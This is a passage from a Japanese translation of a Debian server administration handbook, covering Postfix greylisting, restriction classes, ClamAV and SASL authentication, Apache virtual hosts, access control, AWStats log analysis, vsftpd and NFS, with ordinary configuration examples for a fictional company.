その結果、同じ送信者からであっても送信要求を行う IP アドレスは毎回変わるかもしれません。もっと言えば、送信者アドレスさえも変わる可能性があります。たとえば、多くのメーリングリストサーバはエラーメッセージ (**bounce** として知られます) を取り扱うために送信者アドレス内の追加的な情報を符号化します。メーリングリスト宛に送信される新しいメッセージは greylisting を通過することが必要かもしれません。これは新しいメッセージが送信者のサーバに (一時的に) 保存されることを意味します。とても巨大な (数万人が登録する) メーリングリストの場合、これは問題になることがあります。

これらの欠点を軽減するために、Postgrey は複数の SMTP サーバを運用するサイトのホワイトリストを管理しています。ホワイトリストに登録されている送信者から送信要求のあったメッセージは greylisting を通過することなしにすぐに受け入れられます。このリストを自分の要求に適用することは簡単です。なぜなら、ホワイトリストは /etc/postgrey/whitelist_clients ファイルに保存されているからです。

GOING FURTHER

milter-greylist を使った選択的 greylisting

メール配送の遅延時間が長くなるという greylisting の欠点を低減するには、既にスパムの発生源と考えられている (DNS ブラックリストに載せられている) サブネットのクライアントだけを対象に greylisting を使います。**postgrey** ではこの機能を使うことができませんが、**milter-greylist** でこの機能を使います。

この機能を利用する場合、DNS ブラックリストに載っていたからと言って必ず拒否されるわけではなくなるので、より広範囲におよぶブラックリスト (たとえば pbl.spamhaus.org や dul.dnsbl.sorbs.net など) を使うことが妥当です。そのようなブラックリストには、ISP クライアントからのすべての動的 IP アドレスも含まれます。

milter-greylist は Sendmail の milter インターフェースを使うため、postfix 側からは「smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock」と設定する以上

のことができません。greylist.conf(5) マニュアルページには、/etc/milter-greylist/greylist.conf と milter-greylist を設定するさまざまな方法が書かれています。実際にサービスを有効化するにはさらに /etc/default/milter-greylist を編集する必要があるでしょう。

11.1.5. 受信者アドレスに基づくフィルタのカスタマイズ

第 11.1.3 節「受信と送信の制限」257 ページと第 11.1.4 節「**greylisting** の設定」262 ページでは、さまざまな制限方法を見直しました。これらの制限方法はスパムの受信量を減らすためのものですが、欠点もあります。このため、受信者ごとにフィルタのセットをカスタマイズすることが普通のやり方になりつつあります。Falcot Corp では、greylisting は多くのユーザからすると興味深いものですが、電子メールを素早く受け取りたい一部のユーザ (たとえば技術サポートサービスを担当しているユーザ) からすると仕事の妨げになります。同様に、商業サービス担当からするとブラックリストに載っているかもしれない一部のアジアプロバイダから送信された電子メールを受信できない点は問題となります。従って、商業サービス用のアドレスに対してはフィルタリングを行わず、この種の送信者と連絡が取れるようにするほうが好都合でしょう。

Postfix は「制限クラス」の概念を使ってフィルタをカスタマイズします。制限クラスは smtpd_restriction_classes パラメータの中で宣言され、smtpd_recipient_restrictions と同じやり方で使用されます。check_recipient_access 指示文は与えられた受信者と制限の適切なセットを対応付けるテーブルを定義します。

例 11.13　main.cf における制限クラスの定義

```
smtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10023
aggressive = reject_rbl_client sbl-xbl.spamhaus.org,
        check_policy_service inet:127.0.0.1:10023
permissive = permit

smtpd_recipient_restrictions = permit_mynetworks,
        reject_unauth_destination,
        check_recipient_access hash:/etc/postfix/recipient_access
```

例 11.14　/etc/postfix/recipient_access ファイル

```
# 無制限に受信するアドレス
postmaster@falcot.com  permissive
support@falcot.com     permissive
sales-asia@falcot.com  permissive

# 特権ユーザに対する積極的なフィルタリング
joe@falcot.com         aggressive

# メーリングリスト管理者用の特別なルール
```

```
sympa@falcot.com       reject_unverified_sender

# デフォルトの greylisting 設定
falcot.com             greylisting
```

11.1.6. アンチウイルスの統合

数多くのウイルスが電子メールの添付ファイルとして配布されているため、会社のネットワークの入口にアンチウイルスをセットアップすることは重要です。なぜなら、啓発活動にも関わらず、明らかに疑わしいメッセージの添付ファイルを開けてしまうユーザがいるからです。

Falcot の管理者は自由なアンチウイルスとして clamav を選びました。clamav の主パッケージは **clamav** ですが、**arj**、**unzoo**、**unrar**、**lha** などのいくつかのパッケージを追加でインストールしました。なぜなら、これらのパッケージはアンチウイルスがそれらのフォーマットで圧縮された添付ファイルを解析する際に必要だからです。

clamav-milter はアンチウイルスと電子メールサーバのやり取りを仲介する作業を担当します。**milter** (**mail filter** の略) は電子メールサーバに対するインターフェースとして特別に設計されたフィルタプログラムです。milter は標準的なアプリケーションプログラミングインターフェース (API) を使います。API を使うことで電子メールサーバの外にあるフィルタを使うよりも性能が向上します。milter は最初 **Sendmail** に導入されましたが、すぐ後に **Postfix** にも導入されました。

QUICK LOOK **SpamAssassin 用の milter**	**spamass-milter** パッケージは有名な迷惑メール検出ソフトウェアである **SpamAssassin** に基づく milter を提供します。これは、(ヘッダを追加することで) スパムと思われるメッセージを注意するために使うことが可能です。さらにスパム度のスコアが指定されたしきい値を超えたらメッセージを拒否することも可能です。

clamav-milter パッケージをインストールしたら、milter をデフォルトのポートではない適当な TCP ポートで実行するように再設定するべきです。これを行うには、dpkg-reconfigure clamav-milter を実行します。そして「Sendmail とのコミュニケーションインターフェイス」が表示されたら「inet:10002@127.0.0.1」と答えます。

NOTE **真の TCP ポート vs 名前付きソケット**	名前付きソケットではなく実在する TCP ポートを使う理由は、postfix デーモンは chroot された状態で実行されることが多く、その場合名前付きソケットの存在するディレクトリにアクセスできないからです。名前付きソケットを使い、これを chroot 中 (/var/spool/postfix/) に入れておくことも可能です。

ClamAV の標準的な設定は多くの状況に適合しますが、dpkg-reconfigure clamav-base を使えばいくつかの重要なパラメータをカスタマイズすることも可能です。

最後の段階で、最近設定したフィルタを使うように Postfix を設定します。これは /etc/postfix/main.cf に以下の指示文を追加するだけで簡単に設定できます。

```
# clamav-milter を使ったウイルスチェック
smtpd_milters = inet:[127.0.0.1]:10002
```

アンチウイルスによって問題が起こる場合、この行をコメントアウトして service postfix reload を実行します。こうすることでアンチウイルスが無効化されます。

IN PRACTICE

アンチウイルスのテスト

アンチウイルスをセットアップしたら、正常な挙動をテストするべきです。最も簡単にテストするには、eicar.com (または eicar.com.zip) を添付したテストメールを送信します。このファイルはオンラインからダウンロードできます。

➡ http://www.eicar.org/86-0-Intended-use.html

このファイルは、本物のウイルスではなくテストファイルです。市場に出ているすべてのアンチウイルスソフトウェアはこのファイルをウイルスと判定しますから、これを使うことでインストールの正しさを確認できます。

これで Postfix を介して送信されるすべてのメッセージはアンチウイルスフィルタを通過するようになります。

11.1.7. SMTP 認証

電子メールを送信するには SMTP サーバにアクセスできなければいけません。さらに、電子メールを送信するには上で設定した SMTP サーバが必要です。ローミングユーザの場合、SMTP クライアントの設定を定期的に変更する必要があるかもしれません。なぜなら、Falcot の SMTP サーバは明らかに会社に所属しない IP アドレスから受け取ったメッセージを拒否するからです。これに対して 2 つの解決策が存在します。すなわち、ローミングユーザが自分のコンピュータに SMTP サーバをインストールするか、雇用者としての認証を済ませた後に会社のサーバを使うかのどちらか一方です。自分の SMTP サーバをインストールするという解決策は推奨されません。なぜなら、ローミングユーザのコンピュータは永久的にネットワークに接続されているわけではありませんし、問題の起きた際にメッセージを再送信することができないからです。ここでは認証を行うという解決策に注目します。

Postfix の SMTP 認証は SASL (**Simple Authentication and Security Layer**) を使っています。SASL を使うには、**libsasl2-modules** と **sasl2-bin** パッケージをインストールして、SASL データベースに SMTP サーバの認証に必要なパスワードをユーザごとに登録する必要があります。パスワードを登録するには、saslpasswd2 コマンドを使います。saslpasswd2 コマンドはいくつかのパラメータを取ります。-u オプションは認証するドメインを定義します。これは Postfix 設定の smtpd_sasl_local_domain パラメータと一致しなければいけません。-c オプションはユーザを作成します。-f オプションは SASL データベースをデフォルト (/etc/sasldb2) とは異なる場所に保存することが必要な場合にデータベースファイルの位置を指定します。

```
# saslpasswd2 -u ‘postconf -h myhostname‘ -f /var/spool/postfix/etc/sasldb2 -c jean
[... jean のパスワードを 2 回入力します ...]
```

SASL データベースは Postfix のディレクトリの中に作成されなければいけない点に注意してください。整合性を確保するために、ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2 コマンドを使って /etc/sasldb2 を Postfix の使うデータベースを指すシンボリックリンクにします。

この後に Postfix が SASL を使うように設定します。postfix ユーザを sasl グループに追加して、SASL アカウントデータベースにアクセスできるようにします。Postfix で SASL を有効化するには、いくつかの新しいパラメータが必要です。また、SASL 認証されたクライアントが自由に電子メールを送信することを許可するには、smtpd_recipient_restrictions パラメータを設定します。

例 11.15　/etc/postfix/main.cf の中で SASL を有効化

```
# SASL 認証を有効化します
smtpd_sasl_auth_enable = yes
# SASL 認証を適用するドメインを定義します
smtpd_sasl_local_domain = $myhostname
[...]
# reject_unauth_destination の前に permit_sasl_authenticated を
# 追加すれば、SASL 認証済みユーザが送信したメールの中継が許可されます
smtpd_recipient_restrictions = permit_mynetworks,
    permit_sasl_authenticated,
    reject_unauth_destination,
[...]
```

EXTRA

認証済み SMTP クライアント

多くの電子メールクライアントはメッセージを送信する前に SMTP サーバに対して認証依頼する機能を持っており、適切なパラメータを設定するだけで簡単に SASL 認証機能を使うことが可能です。クライアントが SASL 認証機能を持たない場合、ローカル Postfix サーバを使い、リモート SMTP サーバに電子メールを中継するようにローカル Postfix サーバを設定することが次善策です。この場合、ローカル Postfix が SASL を使って認証するクライアントになります。以下に必要なパラメータを示します。

```
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
relay_host = [mail.falcot.com]
```

/etc/postfix/sasl_passwd ファイルには、mail.falcot.com サーバに認証を依頼する際に使うユーザ名とパスワードを含めます。以下に例を示します。

```
[mail.falcot.com]   joe:LyinIsji
```

すべての Postfix のマッピングファイルについて言えることですが、postmap コマンドを使ってこのファイルを /etc/postfix/sasl_passwd.db に変換しなければいけません。

11.2. ウェブサーバ (HTTP)

Falcot Corp の管理者は Debian **Jessie** に含まれるバージョン 2.4.10 の Apache HTTP サーバを使うことに決めました。

ALTERNATIVE

他のウェブサーバ

Apache は最も広く知られている (最も広く使われている) ウェブサーバですが、他にもウェブサーバは存在します。これらのサーバはわずかな負荷で高い性能を発揮しますが、利用できる機能やモジュールが少ないという欠点も持っています。しかしながら、静的ファイルを提供する用途やプロキシ用途にウェブサーバを使う場合、**nginx** や **lighttpd** などの代替品は調査する価値があります。

11.2.1. Apache のインストール

apache2 パッケージをインストールするだけで、Apache に必要な物はすべてインストールされます。パッケージには **Multi-Processing Modules** (MPMs) も含まれており、MPM は Apache が多くの要求の並列処理を取り扱う方法に影響をおよぼします (以前の MPM はそれぞれ対応する **apache2-mpm-*** パッケージから提供されていました)。**apache2** パッケージは **apache2-utils** パッケージに依存しており、**apache2-utils** パッケージには後に使うコマンドラインユーティリティが含まれます。

MPM は Apache が同時要求を処理する方法に大きな影響をおよぼします。**worker** MPM を選んだ場合、**スレッド** (軽量プロセス) で同時要求を処理します。これに対して **prefork** MPM を選んだ場合、あらかじめ生成したプロセスプールで同時要求を処理します。**event** MPM を選んだ場合、スレッドで同時要求を処理しますが、非アクティブ接続 (特に HTTP **keep-alive** 機能を使ってオープン状態を維持された接続) に対しては専用の管理スレッドで処理します。

Falcot の管理者はさらに Apache の PHP サポートを有効化するために **libapache2-mod-php5** をインストールしています。**libapache2-mod-php5** をインストールすると、デフォルトの **event** MPM は無効化され、代わりに **prefork** MPM を使うようになります。なぜなら、PHP は **prefork** MPM の下でしか動かないからです。

SECURITY

www-data ユーザ下の実行

デフォルトで、Apache は入って来るリクエストを `www-data` ユーザからのリクエストとして取り扱います。これは Apache が実行する CGI スクリプト (動的ページ) の持つセキュリティ脆弱性によってシステム全体が被害を受けることを避け、特定のユーザが所有するファイルだけに被害を留めることが可能であることを意味しています。

suexec モジュールを使うことで、このルールを迂回することが可能です。こうすることで、一部の CGI スクリプトを別のユーザの権限で実行することが可能です。設定を行うには、Apache 設定ファイルの `SuexecUserGroup` **usergroup** 指示文を使います。

もう一つの可能性はたとえば **libapache2-mpm-itk** の提供する MPM などの専用 MPM を使うことです。**libapache2-mpm-itk** の挙動は普通の MPM と少し異なります。すなわち、この MPM は仮想ホスト (実質的にはページ群) を「隔離」して各仮想ホストを異なるユーザの権限で実行するための MPM です。このため、あるウェブサイトの持つ脆弱性によって他のウェブサイトの所有者の持つファイルが危険にさらされることがなくなります。

QUICK LOOK

モジュールのリスト

Apache の標準的なモジュールをオンラインで見ることが可能です。

➨ `http://httpd.apache.org/docs/2.4/mod/index.html`

Apache はモジュール式サーバで、多くの機能が外部モジュールによって実装されており、主プログラムは初期化の際に外部モジュールを読み込みます。デフォルト設定では、最も一般的なモジュールだけが有効化されていますが、新しいモジュールの有効化は `a2enmod` **module** を実行するだけで簡単に行うことが可能です。これに対して、モジュールを無効化するコマンドは `a2dismod` **module** です。実際のところ、これらのプログラムは `/etc/apache2/mods-enabled/` 内に実際のファイル (`/etc/apache2/mods-available/` 内に保存されています) を指すシンボリックリンクを作成 (または削除) しているだけです。

Apache のデフォルト設定では、ウェブサーバはポート 80 番をリッスンし (`/etc/apache2/ports.conf` の中で設定されています)、`/var/www/html/` ディレクトリに含まれるページを公開します (`/etc/apache2/sites-enabled/000-default.conf` の中で設定されています)。

GOING FURTHER

SSL サポートの追加

Apache 2.4 には、すぐに使える安全な HTTP (HTTPS) に必要な SSL モジュールが含まれます。SSL モジュールを有効化するには、`a2enmod ssl` を使い、さらに必要な指示文を設定ファイルに追加しなければいけません。設定例は `/etc/apache2/sites-available/default-ssl.conf` で提供されています。

➨ `http://httpd.apache.org/docs/2.4/mod/mod_ssl.html`

Perfect Forward Secrecy を使った SSL 接続を優先したい場合、いくつかの特別な注意が必要です (これらの接続は一過性のセッション鍵を使います。こうすることでサーバの秘密鍵が漏洩した場合でも、ネットワークのスニッフィングを行うことで保存された過去に暗号化されたトラフィックの内容が漏洩することがなくなります)。以下のページには特に Mozilla の推奨する設定例が載せられています。

➨ `https://wiki.mozilla.org/Security/Server_Side_TLS#Apache`

11.2.2. 仮想ホストの設定

仮想ホスト機能を使うことで、単独のウェブサーバで複数のサイトを運用することが可能です。

Apache は異なる 2 種類の仮想ホストを取り扱うことが可能です。具体的に言えば、IP アドレス (またはポート番号) とウェブサーバのドメイン名に基づいて仮想ホスト機能が実装されています。IP アドレスに基づく仮想ホスト機能を使う場合、各サイトに異なる IP アドレス (またはポート番号) を割り当てることが必要です。これに対して、ドメイン名に基づく仮想ホスト機能を使う場合、単一の IP アドレス (またはポート番号) で複数のサイトを運用することが可能で、HTTP クライアントの送信するホスト名によってサイトを識別します (こちらの方法は HTTP プロトコルのバージョン 1.1 で動作します。幸いなことに、HTTP バージョン 1.1 はすべてのクライアントが対応していると考えて良い程度に古いプロトコルです)。

IPv4 アドレスの枯渇は (ますます) 進んでいるため、通常は単一の IP アドレスで複数のサイトを運用する方法が好まれます。しかしながら仮想ホストで HTTPS を提供する必要がある場合、ドメイン名に基づく仮想ホスト機能を使うには複雑な設定が必要になります。なぜなら、SSL プロトコルはドメイン名に基づく仮想ホストを必ず考慮するとは限らないからです。SNI 拡張 (**Server Name Indication**) を使うことで仮想ホスト上でも SSL プロトコルを使うことが可能になりますが、SNI 拡張はすべてのブラウザで正しく使えるとは限りません。1 つのサーバで複数の HTTPS サイトを運用する必要がある場合、HTTPS サイトは通常異なるポートを使うか異なる IP アドレスを使う (IPv6 が役立ちます) ことで識別されます。

Apache 2 のデフォルト設定では、ドメイン名に基づく仮想ホスト機能が有効にされています。加えて、/etc/apache2/sites-enabled/000-default.conf ファイルの中でデフォルトの仮想ホストが定義されています。この仮想ホストはクライアントによって送信された要求に一致するホストが見つからない場合に使われます。

CAUTION

最初に定義された仮想ホスト

不明な仮想ホストに関する要求は最初に定義された仮想ホストへの要求として処理されます。このため管理者は `www.falcot.com` を最初に定義しています。

QUICK LOOK

Apache の SNI サポート

Apache サーバは **Server Name Indication** (SNI) と呼ばれる SSL プロトコル拡張をサポートします。SNI 拡張を使うことで、ブラウザは SSL 接続を確立する間の HTTP 要求よりもずっと前にウェブサーバのホスト名を送信することが可能になり、同じサーバ (同じ IP アドレスとポート番号を使うサーバ) で運用されている複数の仮想ホストから要求された仮想ホストを識別します。SNI 拡張を使うことで、Apache は以降のトランザクションで最も適切な SSL 証明書を選びます。

Apache とクライアントの間で通信対象の仮想ホストが決定される前は、Apache は常にデフォルトの仮想ホストの定める証明書を使うでしょう。デフォルトの仮想ホスト以外の仮想ホストへのアクセスを試行するクライアントは警告を表示するかもしれません。なぜなら、クライアントが受け取った証明書はアクセスしようとしているウェブサイトと一致しないからです。幸いなことに、多くのブラウザは SNI を取り扱うことが可能です。具体的に言えば、Microsoft Internet Explorer バージョン 7.0 以降 (かつ Vista 以降)、Mozilla Firefox バージョン 2.0 以降、Apple Safari バージョン 3.2.1 以降、Google Chrome のすべてのバージョンは SNI を取り扱うことが可能です。

Debian の提供する Apache パッケージは SNI サポートを有効化した状態でビルドされています。このため、特別な設定は不要です。

最初に定義された仮想ホスト (デフォルトの仮想ホスト) に対する設定で TLSv1 を有効化することを忘れないでください。なぜなら、Apache は安全な接続を確立するために最初に定義された仮想ホストのパラメータを使うため、最初に定義された仮想ホストのパラメータで安全な接続を有効化しなければいけません!

仮想ホストを追加するには、/etc/apache2/sites-available/ にファイルを追加します。falcot.org ドメインで運用されるウェブサイトをセットアップするには、以下のファイルを作成し、a2ensite www.falcot.org を使って仮想ホストを有効化するだけで簡単に可能です。

例 11.16　/etc/apache2/sites-available/www.falcot.org.conf ファイル

```
<VirtualHost *:80>
ServerName www.falcot.org
ServerAlias falcot.org
DocumentRoot /srv/www/www.falcot.org
</VirtualHost>
```

ここまでの設定に従うと、Apache サーバはすべての仮想ホストに対して同じログファイルを使います (仮想ホストの定義に CustomLog 指示文を追加すればこの挙動を変えることが可能です)。そのため、ログファイルのフォーマットをカスタマイズして、仮想ホストの名前を含むようにすることが道理に適っています。これを行うには、/etc/apache2/conf-available/customlog.conf ファイルを作成してすべてのログファイルに対する新しいフォーマットを定義し (LogFormat 指示文を使います)、さらに a2enconf customlog を有効化します。また、/etc/apache2/sites-available/000-default.conf ファイルから CustomLog 指示文を削除 (またはコメントアウト) しなければいけません。

例 11.17　/etc/apache2/conf.d/customlog.conf ファイル

```
# （仮想）ホスト名を含む新しいログフォーマット
LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# 上で定義した "vhost" フォーマットを使用します
CustomLog /var/log/apache2/access.log vhost
```

11.2.3. よく使われる指示文

この節では、いくつかのよく使われる Apache 設定指示文を簡単に見直します。

主要設定ファイルにはいくつかの Directory ブロックが含まれます。Directory ブロックを使うことで、提供されるファイルの位置に従って、サーバの挙動を変えることが可能です。Directory ブロックには通常 Options と AllowOverride 指示文が含まれます。

例 11.18　Directory ブロック

```
<Directory /var/www>
Options Includes FollowSymlinks
AllowOverride All
DirectoryIndex index.php index.html index.htm
</Directory>
```

DirectoryIndex 指示文には、クライアントからディレクトリを要求された場合に応答として送信するファイルのリストを指定します。リスト内の最初に見つかったファイルが応答として使われます。

Options 指示文には、有効化するオプションを指定します。None を指定するとすべてのオプションが無効化されます。それに対して All を指定すると MultiViews を除いたすべてのオプションが有効化されます。以下に利用できるオプションを挙げます。

- ExecCGI。サーバは CGI スクリプトの実行を許可されます。
- FollowSymlinks。サーバはシンボリックリンクをたどってリンク先の内容を応答として返すことを許可されます。
- SymlinksIfOwnerMatch。サーバはシンボリックリンクとリンク先が同じ所有者の場合に限りシンボリックリンクをたどることを許可されます。
- Includes。サーバは **Server Side Includes** (略して **SSI**) を使うことを許可されます。SSI とは HTML ページの中に埋め込まれた要求ごとにその場で処理される指示です。
- Indexes。サーバはクライアントの送信した HTTP 要求が index ファイルの含まれないディレクトリを指している場合 (たとえば DirectoryIndex 指示文でリストされているファイルがこのディレクトリ内に存在しない場合) にディレクトリの内容をリストすることを許可されます。
- MultiViews。サーバはコンテンツネゴシエーションを使うことを許可されます。コンテンツネゴシエーションを使うことで、サーバはブラウザで設定した優先言語に一致するウェブページを返します。

BACK TO BASICS

.htaccess ファイル

.htaccess ファイルには、Apache 設定指示文が含まれます。.htaccess ファイル内の設定は .htaccess ファイルが保存されているディレクトリに含まれる要素が要求された時に強制されます。指示文の有効範囲は .htaccess が保存されているディレクトリ以下すべてのサブディレクトリです。

Directory ブロック内に書かれたほとんどの指示文は .htaccess ファイル内でも使うことが可能です。

AllowOverride 指示文には、.htaccess ファイルを使って有効化または無効化することを許可するすべてのオプションをリストします。AllowOverride 指示文は一般に ExecCGI を制限するために使われることが多い

です。こうすることで、管理者はウェブサーバ (www-data ユーザ) の権限でプログラムを実行することを許可するユーザを選択します。

認証要求

ウェブサイトのある部分へのアクセスを制限し、ユーザ名とパスワードに基づく正当なユーザだけが内容にアクセスできるように設定する必要があるかもしれません。

例 11.19　認証要求を行う .htaccess ファイル

```
Require valid-user
AuthName "Private directory"
AuthType Basic
AuthUserFile /etc/apache2/authfiles/htpasswd-private
```

SECURITY
無意味なセキュリティ

上の例で使われている Basic 認証システムは最低限のセキュリティを提供します。パスワードは平文で送信されます (パスワードは暗号化よりも単純な符号化である **base64** で符号化されるだけです)。Basic 認証システムで「保護」されている文書はネットワークを平文で送信される点も注意するべきです。セキュリティが重要な場合、HTTP 接続全体を SSL で暗号化するべきです。

/etc/apache2/authfiles/htpasswd-private ファイルには、ユーザとパスワードのリストが含まれます。このファイルを操作するには通常 htpasswd コマンドを使います。たとえば、以下のコマンドを使うことで、ユーザを追加するかユーザのパスワードを変更します。

```
# htpasswd /etc/apache2/authfiles/htpasswd-private user
New password:
Re-type new password:
Adding password for user user
```

アクセス制限

Require 指示文を使うことで、あるディレクトリへのアクセスを制御 (とサブディレクトリへのアクセスを再帰的に制御) します。

Require 指示文は多くの基準を基にアクセスを制限するために使われます。ここではクライアントの IP アドレスに基づいてアクセス制限の基準を定義するのではなく、特にいくつかの Require 指示文を RequireAll ブロックと組み合わせることでより強力なアクセス制限の基準を表現します。

例 11.20　ローカルネットワークからのアクセスだけを許可する例

```
Require ip 192.168.0.0/16
```

ALTERNATIVE

古い構文

Require 指示文を使って IP アドレスに基づく制限を行う機能は Apache 2.4 (**Jessie** で提供されるバージョン) でのみ利用できます。**Wheezy** のユーザ向けの説明になりますが、Apache 2.2 で IP アドレスに基づく制限を行うには別の構文を使います。ここでは主に参照用として Apache 2.2 の構文を説明しますが、この構文は mod_access_compat モジュールを使えば Apache 2.4 でも利用できます。

Allow from と Deny from 指示文を使うことで、あるディレクトリへのアクセスを制御 (とサブディレクトリへのアクセスを再帰的に制御) します。

Order 指示文を使うことで、Allow from と Deny from 指示文を評価する順番をサーバに伝えます。ここでは最後に一致したものが優先されます。具体的に言えば、Order deny,allow を使うと、Deny from に一致しないホストまたは Allow from に一致するホストからのアクセスを許可します。反対に、Order allow,deny を使うと、Allow from に一致しないホストまたは Deny from に一致するホストからのアクセスを拒否します。

Allow from と Deny from 指示文には、IP アドレス、ネットワーク (たとえば 192.168.0.0/255.255.255.0、192.168.0.0/24、192.168.0 など)、ホスト名、ドメイン名、全員を意味する all キーワードを使うことが可能です。

たとえば、デフォルトですべてのアクセスを拒否してローカルネットワークからのアクセスだけを許可するには以下の通り設定します。

```
Order deny,allow
Allow from 192.168.0.0/16
Deny from all
```

11.2.4. ログ解析ソフトウェア

ウェブサーバには、通常ログ解析ソフトウェアがインストールされます。なぜなら、ログ解析ソフトウェアを使うことで管理者はウェブサーバの使用形態に関する正確な知見を得ることが可能だからです。

Falcot Corp の管理者は **AWStats** (**Advanced Web Statistics**) を使って Apache ログファイルを解析することに決めました。

最初に /etc/awstats/awstats.conf ファイルをカスタマイズして設定を行います。Falcot の管理者は以下のパラメータだけを修正し、他はそのままの状態にしています。

```
LogFile="/var/log/apache2/access.log"
LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %
    ➥ refererquot %uaquot"
SiteDomain="www.falcot.com"
HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"
DNSLookup=1
LoadPlugin="tooltips"
```

これらのパラメータに関する説明はテンプレートファイルにコメントとして書かれています。特に、LogFile と LogFormat パラメータを使って、ログファイルの場所とログファイルに含まれる情報の書式を指定します。さらに SiteDomain と HostAliases は主要ウェブサイトに割り当てている複数の名前をリストします。

トラフックの多いサイトでは通常 DNSLookup を 1 に設定するべきではありません。トラフィックの少ないサイトでは Falcot の設定と同様に DNSLookup を設定することで、解析結果に生 IP アドレスではなく完全なマシン名が含まれるようになり、解析結果を読みやすくなります。

SECURITY

統計へのアクセス

AWStats は統計をウェブサイト上で利用できるようにしており、デフォルトでは統計へのアクセスは制限されていません。しかし、ごく少数の (おそらく内部の) IP アドレスだけが統計にアクセスできるように制限をかけることも可能です。アクセスを許可する IP アドレスのリストは AllowAccessFromWebToFollowingIPAddresses パラメータで定義する必要があります。

他の仮想ホストに対して AWStats を有効化することも可能です。その場合、各仮想ホストに対して /etc/awstats/awstats.www.falcot.org.conf などの設定ファイルを作ってください。

例 11.21　仮想ホスト用の AWStats 設定ファイル

```
Include "/etc/awstats/awstats.conf"
SiteDomain="www.falcot.org"
HostAliases="falcot.org"
```

AWStats は /usr/share/awstats/icon/ ディレクトリに保存されている多くのアイコンを使います。ウェブサイトでこれらのアイコンを使えるようにするためには、以下の指示文を Apache の設定に追加する必要があります。

```
Alias /awstats-icon/ /usr/share/awstats/icon/
```

数分後 (スクリプトを複数回実行した後)、結果をオンラインで見ることが可能になります。

➡ http://www.falcot.com/cgi-bin/awstats.pl

➡ http://www.falcot.org/cgi-bin/awstats.pl

CAUTION

ログファイルの循環

統計はすべてのログに対して取られるため、Apache ログファイルが循環される直前に **AWStats** を実行する必要があります。/etc/logrotate.d/apache2 ファイルの prerotate 指示文から判断すると、これを解決するには、/usr/share/awstats/tools/update.sh へのシンボリックリンクを /etc/logrotate.d/httpd-prerotate に作成します。

```
$ cat /etc/logrotate.d/apache2
/var/log/apache2/*.log {
  daily
  missingok
  rotate 14
  compress
  delaycompress
  notifempty
  create 644 root adm
  sharedscripts
  postrotate
    if /etc/init.d/apache2 status > /dev/null ; then \
```

```
      /etc/init.d/apache2 reload > /dev/null; \
    fi;
  endscript
  prerotate
    if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
      run-parts /etc/logrotate.d/httpd-prerotate; \
    fi; \
  endscript
}
$ sudo mkdir -p /etc/logrotate.d/httpd-prerotate
$ sudo ln -sf /usr/share/awstats/tools/update.sh \
  /etc/logrotate.d/httpd-prerotate/awstats
```

logrotate によって作成されたログファイルは誰でも (特に AWStats から) 読み取り可能にしておく必要があります。上の例では、(デフォルトの 640 パーミッションの代わりに) create 644 root adm 行を追加することでこれを実現しています。

11.3. FTP ファイルサーバ

FTP (**File Transfer Protocol**) はインターネットにおける最初のプロトコルの 1 つです (RFC 959 は 1985 年に発行されました!)。FTP はウェブが生まれる前にファイルを配布するために使われました (HTTP プロトコルは 1990 年に作られ、1996 年の RFC 1945 でバージョン 1.0 が正式に定義されました)。

FTP を使うことで、ファイルのアップロードとダウンロードが可能です。そしてこの理由から、現在でもインターネットサービスプロバイダによってホストされているウェブサイト (およびウェブサイトを構成する要素) を更新するために広く使われています。この際に、ユーザ識別子とパスワードを使って安全なアクセスが強制されます。そして認証に成功したら、FTP サーバはそのユーザのホームディレクトリに対する読み書きアクセスを許可します。

また、FTP サーバは主に一般のユーザがダウンロードできるファイルを配布するために使われることもあります。この用途の良い例が Debian パッケージです。サーバの内容は地理的に離れている別のサーバから取得され、サーバの近郊にいるユーザに向けて内容を提供します。これはクライアント認証が不要になることを意味します。結果的に、この挙動は「匿名 FTP」として知られています。完全に正しく言えば、クライアントは anonymous というユーザ名で認証します。パスワードは慣例的にユーザの電子メールアドレスを使いますが、サーバはこのパスワードを無視します。

Debian には多くの FTP サーバ (**ftpd**、**proftpd-basic**、**pyftpd** など) が含まれます。Falcot Corp の管理者は **vsftpd** を選びました。なぜなら、FTP サーバを使ってファイルを配布するのは管理者だけだからです (FTP サーバを Debian パッケージリポジトリとしても使います)。すなわち、この用途では高度な機能が不要で、セキュリティの観点が重要だからです。

vsftpd パッケージをインストールすると、ftp システムユーザが作成されます。ftp ユーザは匿名 FTP 接続の際に常に使われるものです。FTP サービスに接続するユーザは ftp システムユーザアカウントのホームディレクトリ (/srv/ftp/) を利用できます。巨大なファイルを誰でもダウンロード可能にするという単純な要求を満足させるにはデフォルト設定 (/etc/vsftpd.conf) に変更を加える必要があります。つまり、匿名アクセスを有効化し (anonymous_enable=YES)、ローカルユーザの読み込み専用アクセスを無効化する

(local_enable=NO) 必要があります。ローカルユーザの読み込み専用アクセスを無効化するのは特に重要です。なぜなら FTP プロトコルはいかなる種類の暗号化も行わないため、デフォルト設定のままではネットワーク越しにユーザパスワードを横取りされる可能性があるからです。

11.4. NFS ファイルサーバ

NFS (**Network File System**) はネットワークを介したファイルシステムへのリモートアクセスをつかさどるプロトコルです。すべての Unix システムは NFS プロトコルを取り扱うことが可能です。一方で Windows システムを参加させる場合、代わりに Samba を使わなければいけません。

NFS はとても役に立つツールです。しかし、歴史的に言えば NFS には数多くの制約があり、NFS プロトコルのバージョン 4 になってほとんどの制約がなくなりました。制約がなくなったことによる欠点として、NFS の最新版では認証や暗号化などの基本的なセキュリティ機能を有効化するよう設定するのがさらに難しくなったという点が挙げられます。なぜなら、NFS の最新版ではこれらの機能は Kerberos に依存しているからです。認証や暗号化機能を有効化しない場合、NFS プロトコルを使うのは信用できるローカルネットワークだけに留めるべきです。なぜなら、ネットワークを流れるデータは暗号化されませんし (**スニファ**を使えば内容を傍受することが可能ですし)、アクセス権はクライアントの IP アドレスに基づいて決定されるからです (IP アドレスはなりすまし可能です)。

DOCUMENTATION

NFS の HOWTO 文書

NFSv4 を配備する際に参考になる文書はまだ多くありません。以下に挙げた文書の品質はさまざまですが、これらの文書では最低限やるべき内容に関するいくつかのヒントが載せられています。

